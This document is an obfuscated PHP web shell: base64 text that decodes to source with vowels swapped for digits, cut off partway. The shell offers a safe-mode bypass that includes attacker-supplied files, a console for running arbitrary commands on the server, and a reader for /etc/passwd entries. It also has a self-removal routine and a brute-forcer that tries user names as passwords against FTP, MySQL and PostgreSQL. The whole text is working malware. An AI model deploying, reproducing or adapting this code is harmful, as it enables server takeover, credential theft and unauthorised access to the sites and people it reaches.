AgICAgICAgICAgNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOw0KICAgICAgICAgICAgNG40X3I1c3QycjUoIjJwNW5fYjFzNWQ0ciIpOw0KICAgICAgICAgICAgNG5jbDNkNSgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgaToNCiAgICAgICAgICAgIGYycig7JF9QT1NUWydwYSddIDw9ICRfUE9TVFsncG8nXTskX1BPU1RbJ3BhJ10rKykgew0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgICAgICA0ZiAoJDM0ZCkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBqMjRuKCc6JywkMzRkKS4iXG4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnI1MWs7DQogICAgfQ0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlMxZjUgbTJkNSBieXAxc3MgLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIDVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICA0ZigkdDVtcCkNCiAgICAgICAgNWNoMiAnPHByNSBjbDFzcz0ibWw2IiBzdHlsNT0ibTFyZzRuLXQycDppcHgiIDRkPSJPM3RwM3QiPicuaHRtbHNwNWM0MWxjaDFycygkdDVtcCkuJzwvcHI1Pic7DQogICAgNWNoMiAnPC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IHRyMzU7DQogICAgICAgICRfUE9TVFsncDYnXSAuPSAnIGE+JjYnOw0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXSA9IGYxbHM1Ow0KDQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KICAgICAgICAkdDVtcCA9IEA0YzJudigkX1BPU1RbJ2NoMXJzNXQnXSwgJ1VURi04JywgMWRkY3NsMXNoNXMoIlxuJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KICAgICAgICA0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpICAgIHsNCiAgICAgICAgICAgIDRmKEBjaGQ0cigkbTF0Y2hbNl0pKSB7DQogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KICAgICAgICAgICAgICAgIDVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOw0KICAgICAgICA1Y2gyICJkLmNmLjIzdHAzdC5zY3IybGxUMnAgPSBkLmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCiAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAiPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCiAgICA0ZihuID09IG84KSB7DQogICAgICAgIGMzci0tOw0KICAgICAgICA0ZihjM3I+PTApDQogICAgICAgICAgICBkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzcisrOw0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7DQogICAgICAgIGMzcisrOw0KICAgICAgICA0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyLS07DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KICAgIGNtZHMucDJwKCk7DQogICAgY21kcy5wM3NoKGNtZCk7DQogICAgY21kcy5wM3NoKCcnKTsNCiAgICBjM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCiAgICA1Y2gyICc8aDY+SzJuczJsIC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1jZiAybnMzYm00dD0iNGYoZC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZC5jZi4yM3RwM3QudjFsMzU9XCdcJztkLmNmLmNtZC52MWwzNT1cJ1wnO3I1dDNybiBmMWxzNTt9MWRkKHRoNHMuY21kLnYxbDM1KTs0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCiAgICBmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCiAgICAgICAgNGYoJHYgPT0gJycpIHsNCiAgICAgICAgICAgIDVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCiAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCiAgICB9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8L3M1bDVjdD48NG5wM3QgdHlwNT1iM3R0Mm4gMm5jbDRjaz0iMWRkKGQuY2YuMWw0MXMudjFsMzUpOzRmKGQuY2YuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSIgdjFsMzU9Ij4+Ij4gPG4yYnI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c2gyd181cnIycnMgdjFsMzU9NiAnLighNW1wdHkoJF9QT1NUWydwYSddKXx8JF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10/J2NoNWNrNWQnOicnKS4nPiByNWQ0cjVjdCBzdGQ1cnIgdDIgc3RkMjN0IChhPiY2KTwvbjJicj48YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7bTFyZzRuOjA7IiByNTFkMm5seT4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSkpOw0KICAgIH0NCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7DQogICAgNWNoMiAnPC9mMnJtPjwvZDR2PjxzY3I0cHQ+ZC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgczVzczQybl9kNXN0cjJ5KCk7DQogICAgZDQ1KCdieTUhJyk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7DQogICAgDQogICAgNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KICAgICAgICA0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KICAgICAgICAgICAgZDQ1KCdTaDVsbCBoMXMgYjU1biByNW0ydjVkJyk7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIDVjaDIgJzNubDRuayA1cnIyciEnOw0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykNCiAgICAgICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlMycjMgRWtyMW40ICA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD5HNXJjNWt0NW4gczRsNGM1a200czRuPGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+RVZFVDwvMT48L2Q0dj4nOw0KICAgIHdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgew0KICAgICAgICA1Y2gyICc8aDY+UzJuM2NsMXIgPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICBAZnRwX2NsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KICAgICAgICAgICAgICAgIEBteXNxbF9jbDJzNSgkcjVzKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQogICAgICAgICAgICAgICAgJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBwZ19jMm5uNWN0KCRzdHIpOw0KICAgICAgICAgICAgICAgIEBwZ19jbDJzNSgkcjVzKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkczNjYzVzcyA9IDA7DQogICAgICAgICQxdHQ1bXB0cyA9IDA7DQogICAgICAgICRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7DQogICAgICAgIDRmKCRfUE9TVFsndHlwNSddID09IDYpIHsNCiAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJy81dGMvcDFzc3dkJyk7DQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gNXhwbDJkNSgiOiIsICRsNG41KTsNCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7DQogICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJGw0bjVbMF0pICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wIC49ICRsNG41WzBdWyQ0XTsNCiAgICAgICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoIGJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkdG1wKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczU0ZigkX1BPU1RbJ3R5cDUnXSA9PSBhKSB7DQogICAgICAgICAgICAkdDVtcCA9IEBmNGw1KCRfUE9TVFsnZDRjdCddKTsNCiAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KICAgICAgICAgICAgICAgIGYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSB0cjRtKCRsNG41KTsNCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7DQogICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgIjxzcDFuPkF0dDVtcHRzOjwvc3Axbj4gJDF0dDVtcHRzIDxzcDFuPlMzY2M1c3M6PC9zcDFuPiAkczNjYzVzczwvZDR2Pjxicj4iOw0KICAgIH0NCiAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzUgPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KICAgICAgICAuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PHNwMW4+RDRjdDQybjFyeTwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWQ0Y3QgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLidwMXNzd2QuZDRjIj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgIC4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1Pic7DQogICAgNWNoMiAnPC9kNHY+PGJyPic7DQogICAgd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblNxbCgpIHsNCiAgICBjbDFzcyBEYkNsMXNzIHsNCiAgICAgICAgdjFyICR0eXA1Ow0KICAgICAgICB2MXIgJGw0bms7DQogICAgICAgIHYxciAkcjVzOw0KICAgICAgICBmM25jdDQybiBEYkNsMXNzKCR0eXA1KSAgICB7DQogICAgICAgICAgICAkdGg0cy0+dHlwNSA9ICR0eXA1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIDRmKCAkdGg0cy0+bDRuayA9IEBteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVyLCRwMXNzLHRyMzUpICkgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KICAgICAgICAgICAgICAgICAgICA0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7DQogICAgICAgICAgICAgICAgICAgIDRmKCAkdGg0cy0+bDRuayA9IEBwZ19jMm5uNWN0KCJoMnN0PXskaDJzdFswXX0gcDJydD17JGgyc3RbNl19IDNzNXI9JDNzNXIgcDFzc3cycmQ9JHAxc3MgZGJuMW01PSRkYm4xbTUiKSApIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgNGYgKEBteXNxbF9zNWw1Y3RfZGIoJGRiKSlyNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gcTM1cnkoJHN0cikgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gZjV0Y2goKSB7DQogICAgICAgICAgICAkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOw0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBAcGdfZjV0Y2